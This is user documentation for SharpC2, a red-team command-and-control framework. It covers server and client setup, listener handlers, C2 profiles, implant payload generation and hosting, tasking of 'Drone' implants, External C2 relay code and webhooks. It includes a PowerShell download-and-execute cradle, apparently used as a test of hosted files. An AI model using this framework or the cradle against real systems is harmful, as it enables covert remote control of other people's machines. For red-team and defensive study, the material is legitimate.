SharpC2 Documentation

Getting Started

The easiest way to get started is to download the latest release builds from the GitHub repository.

Team Server

The Team Server, teamserver-linux.zip, is only built to run on Linux.

~$ wget -q https://github.com/rasta-mouse/SharpC2/releases/download/v1.0.0/teamserver-linux.zip
~$ unzip -q teamserver-linux.zip -d SharpC2
~$ cd SharpC2/
~/SharpC2$ chmod +x TeamServer

Run the TeamServer executable, providing the IP address of the server and a shared password to connect with. The IP is used to generate a self-signed SSL certificate for the management API.

~/SharpC2$ sudo ./TeamServer 172.25.157.95 Passw0rd!
Certificate thumbprint: 748187C70A83FB6AF30308E3E3DDCAFC16BFF769

Client

Only a Windows build, client-windows.zip, is provided at this time. It is built as an MSIX package which you must install.

PS C:\Users\Daniel\Desktop> iwr -Uri https://github.com/rasta-mouse/SharpC2/releases/download/v1.0.0/client-windows.zip -OutFile client-windows.zip
PS C:\Users\Daniel\Desktop> Expand-Archive -Path .\client-windows.zip -DestinationPath .
PS C:\Users\Daniel\Desktop> cd .\Client_1.0.0.1_Test\
PS C:\Users\Daniel\Desktop\Client_1.0.0.1_Test> .\Client_1.0.0.1_x64.msix

The installer is signed with my own key. Should you want to build with your own key, see the Building page.

_images/installer.png

After installation, the app will appear in your Start Menu, just like any app from the Windows Store.

To connect to the Team Server, enter its IP address, a nick for yourself, and the shared password.

_images/login.png

Ensure that the certificate thumbprint matches the console output of the Team Server.

_images/thumbprint.png

Building

Team Server

Most people will want to build the Team Server for Linux and run it on an Ubuntu VM (or other distro.)

$ dotnet publish -c Release -r linux-x64 --self-contained

The --self-contained parameter is optional, but allows you to run the application without needing to have the .NET runtime installed.

Client

The .NET MAUI client can be built for Windows and macOS.

Handler Management

Handlers (or listeners) are managed via the Handlers menu. Each handler type can be accessed via each corresponding tab.

_images/handlers.png

Click on the + button to add a handler of the selected type.

HTTP

The HTTP handler is an egress handler, and has 5 options:

  • Name

    • A unique name to identiy the handler.

  • C2 Profile

    • The C2 profile to apply to the handler. See the C2 Profiles page for more information.

  • Bind Port

    • The port to bind to on the Team Server. Useful if you want to bind to an odd port and redirect traffic using a redirector.

  • Connect Address

    • The IP address or domain name that the implant will attempt to talk to.

  • Connect Port

    • The port on which the implant will attempt to talk to.

_images/http.png

HTTPS

The HTTPS handler is an egress handler, and has 2 additional options:

  • PFX Certificate

    • A certificate in PKCS #12 format. If no certificate is provided, a self-signed certificate will be generated.

  • PFX Password

    • If the PFX was generated with a password.

_images/https.png

Note

The current configuration is such that an HTTPS Drone will automatically accept any untrusted SSL certificate.

SMB

The SMB handler is a P2P handler, and has 2 options:

  • Name

    • A unique name to identiy the handler.

  • Pipe Name

    • The named pipe name that will be bound on the endpoint.

_images/smb.png

TCP

The TCP handler is a P2P handler, and has 3 options:

  • Name

    • A unique name to identiy the handler.

  • Bind Port

    • The port to bind to.

  • Localhost

    • Bind to the localhost only (127.0.0.1) or all interfaces (0.0.0.0).

_images/tcp.png

EXTERNAL

The External handler is an egress handler, and has 2 options:

  • Name

    • A unique name to identiy the handler.

  • Bind Port

    • The Team Server will bind to this port and wait for a connection from a 3rd party controller.

_images/ext.png

See the External C2 page for more information on leverage this handler.

C2 Profiles

A C2 Profile can be used to customise/override default settings and behavours of the implant. These currently only apply to the HTTP implant. They are defined in YAML format and must be present in the team server’s C2Profiles directory to be loaded.

HTTP

Option

Description

Data Type

Sleep

The sleep interval of the implant in seconds

Int32

Jitter

The jitter of the sleep interval as a percentage

Int32

GetPaths

The URL paths to use on GET requests

String[]

PostPaths

The URL paths to use on POST requests

String[]

Note

The GET and POST paths are selected randomly on each use.

Example Profile

Name: default
Http:
  Sleep: 60
  Jitter: 10
  GetPaths:
    - /index.php
    - /news.php
  PostPaths:
    - /submit.php
    - /upload.php

Hosted Files

Since the HTTP handler acts as a web server, it can also serve any arbitrary file. Hosted files appear in a separate table underneath the HTTP handlers. To host a file, click the Cloud icon next to the handler you want to host on.

_images/no-files.png

The Handler drop-down is pre-populated with the one you selected, but can be changed here without having to go back. Clicking the Select File button will open a file dialogue window to select the desired file. Enter the URI that you want the file to be hosted at. It does not have to be the same as the original filename.

_images/dialogue.png

Once hosted, the file will appear in the table below.

_images/hosted-file.png
PS C:\> iex (new-object net.webclient).downloadstring("http://localhost:8080/test"); Invoke-TestCommand
This is a test

To remove a hosted file, simply click the red garbage icon.

Generating Payloads

Payloads may be generated via the Payloads menu. Payloads are tied to handlers, so you need at least one handler to generate a payload. First, select the desired handler and payload format.

_images/payload.png

Downloading

Clicking the Download button will drop the payload into your user’s downloads folder.

_images/downloaded.png

Hosting

Clicking the Host button will open a new dialogue window for hosting the file on an HTTP handler. Select the desired handler and enter a URI.

Note

The HTTP handler must already exist.

_images/host.png

Thereafter, the payload will appear in the hosted files table within the Handler menu. It can be removed by clicking the red garbage icon.

_images/hosted-files.png

Interacting with Drones

The SharpC2 implant is called a “Drone”. Drones can be managed via the Drones menu.

_images/drones.png

The metadata information about the Drone is fairly self-explanatory.

The monitor icon is colour-coded based on the process integrity of the Drone. Blue for Medium Integrity and Red for High Integrity. It can also be clicked to quickly access common functionality such as modifying the sleep interval, killing the Drone, or removing it from the table.

Clicking the terminal icon will move you to a view where you can interact with that specific Drone.

The command textbox provides autocomplete behaviour when entering a command alias.

_images/autocomplete.png

The full command arguments are not entered into this text box. Instead, select the command you want to use and a popup modal will prompt you for any required arguments and files.

_images/powershell.png

After submitting a command, it will appear in the main view.

_images/task-complete.png

Tasks Status

Pending

Whilst a task is Pending, it is sat on the Team Server waiting for the associated Drone to check-in. Once the Drone checks-in, the task will be delivered and its status will be updated to Tasked. You can “delete” a pending task before a Drone checks-in by clicking on the red cross icon.

_images/pending.png

Running

Tasks that are designed to run as background jobs will set the task status to Running once execution has begun. These tasks can stream output as and when data is available. You may cancel a running task by clicking on the yellow cross icon.

_images/running.png

Complete

Once a task reports that execution is complete, the task status will be updated to Complete.

_images/complete.png

Aborted

Generally means that the task threw an exception.

Events

Events can be found under the Events menu. When an event occurs, a snackbar alert appears at the bottom of the client window. This allows you to see events as they happen, regardless of where you are in the application. Clicking on the alert will take you directly to the Events page.

_images/event.png

User Authentication

These events show successful and unsuccessful attempts to log into the team server.

_images/user-auth.png

Web Log

These events show web requests and subsequent responses to the HTTP handlers. Regular Drone traffic is not logged, but requests for hosted files are.

_images/web-log.png

External C2

External C2 allow a 3rd application to act as a communication layer between the SharpC2 team server and Drone payload. This allows users to implement completely custom C2 protocols without having to modify the core framework.

digraph foo {
 rankdir="LR";
 node [shape=box];

 teamserver [label="Team Server"];
 controller [label="Controller"];
 client [label="Client"];
 drone [label="Drone"];

 teamserver -> controller [label="C2 Frames"];
 controller -> client [label="Custom C2"];
 client -> drone [label="C2 Frames"];

 controller -> teamserver;
 client -> controller;
 drone -> client
}

ExternalC2.Net

The SharpC2 solution contains a .NET library to help simplify the process of implementing ExternalC2. Example Controller and Client projects are also provided.

3rd Party Controller

The controller can leverage the ExternalC2.Net.Server namespace. It must instantiate a new ServerController class with the IP address and port of the ExternalC2 handler. Multiple instances can be used to handle more than one incoming connection, which can be run in separate threads.

var controller = new ServerController(target, port);
_ = Task.Run(async () => await HandleClient(controller, client));

The ServerController provides an event that is fired when a downstream frame is received from the team server. In most cases, you would just want to forward this straight to your client. Run the Start method to instruct the ServerController to begin reading from the team server.

controller.OnDataFromTeamServer += async delegate(byte[] data)
{
    // send data received from the team server to the client
    await client.WriteData(data);
};

// run the controller
_ = controller.Start();

Upon connecting to the team server, it will instantly provide a Drone payload in the form of a .NET assembly. Whenever you have upstream data to give to the team server, use the SendData method.

// read from the client
while (client.Connected)
{
    if (client.DataAvailable())
    {
        // this is upstream from the drone
        var upstream = await client.ReadData();

        // give it to the team server
        await controller.SendData(upstream);
    }

    await Task.Delay(100);
}

3rd Party Client

The client can leverage the ExternalC2.Net.Client namespace. It should initiate communication with your 3rd controller and immediately begin reading from it to receive the Drone payload.

// connect to controller
var controller = new TcpClient();
await controller.ConnectAsync(target, port);

// read payload
var payload = await controller.ReadData();

Once the payload has been read, instantiate a new instance of DroneController. This also provides an event that is fired when an upstream frame is sent from the Drone. This should just be sent up to your controller.

// create drone controller
var drone = new DroneController();

// event is fired whenever the drone sends upstream data
drone.OnDataFromDrone += async delegate(byte[] bytes)
{
    // send to controller
    await controller.WriteData(bytes);
};

The Drone payload can then be executed by calling the ExecutePayload method. This will load the Drone and attempt to connect to inbound and outbound queues. This is done entirely using reflection (no named pipes or TCP connections, etc).

The client can then listen for downstream data from the controller and pass it to the Drone using the SendDrone method.

while (controller.Connected)
{
    if (controller.DataAvailable())
    {
        // read from controller
        var downstream = await controller.ReadData();

        // send it to the drone
        drone.SendDrone(downstream);
    }

    await Task.Delay(100);
}

Outgoing Webhooks

Outgoing webhooks can be used to send SharpC2 Events to external applications.

_images/no-webhooks.png

Slack

The provided Slack consumer sends nicely formatted messages to your incoming Slack webhook URL.

_images/slack-hook.png _images/slack-message.png

Custom

The custom consumer simply sends the events to the provided URL in JSON format.

_images/custom-hook.png

Here are some example events:

User Authentication
{
    "id": "dd141bef5c",
    "nick": "rasta",
    "result": true,
    "date": "2023-04-30T11:57:28.3301882Z"
}
Web Log
{
    "id": "e485a45f5f",
    "method": "GET",
    "uri": "/webhook-test",
    "user_agent": "curl/8.0.1",
    "source_address": "127.0.0.1",
    "response_code": 404,
    "date": "2023-04-30T11:55:56.5781192Z"
}